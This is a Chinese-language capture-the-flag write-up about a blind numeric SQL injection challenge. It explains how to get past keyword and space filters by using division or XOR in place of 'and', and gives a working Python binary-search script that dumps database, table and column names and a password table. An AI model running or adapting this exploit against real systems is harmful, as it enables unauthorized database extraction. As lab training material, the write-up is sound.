直接看题
可以看到题目给了提示盲注!那么接下来就是寻找注入点了!
那么不能发现注入点就是id了!注入类型为数值型注入!这里直接尝试盲注。但是这里and被过滤了&&也不行。问了几个师傅说用or,但是空格被过滤了,||也被过滤了。所以似乎不行!
不用空格是起不到效果的!所以这里另寻他法。那么如果你要替换一个东西你可以去思考一下它为什么能起作用!那么盲注的本质是什么?其实就是利用了页面的回显的不同在佐证我们对flag的盲猜 !那么你会发现id=0时是查询失败的,id=1是查询成功的,然后呢我们盲注语句也是返回1和0的,于是就想有没有一种运算使得1()1为1,1()0为0!那么这里我就想到了/,尽管不满足1/0为0,但是也是可以区分了!
而且这里mysql也是支持的!于是就直接开打!
python
import requests
url = "http://0fec30ef-0317-4d57-8e6a-803bb5a076d0.node5.buuoj.cn:81/search.php?id="
result = ''
i=0
while True:
i = i + 1
head = 32
tail = 126
while head < tail:
mid = (head + tail) >> 1
#payload = f'1%2F(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})--+'
#payload = f'1%2F(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})--+'
#payload = f"1%2F(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),{i},1))>{mid})--+"
payload = f"1%2F(ascii(substr((select(group_concat(password))from(F1naI1y)),{i},1))>{mid})--+"
r = requests.get(url + payload)
if "NO! Not this! Click others~~~" in r.text:
head = mid + 1
else:
tail = mid
if head != 32: #用于判断是否找完了flag
result += chr(head)
else:
break
print(result)
#二分法脚本
那么后面发现异或^运算也是可以的。1 ^ 1=0, 1 ^ 0=1!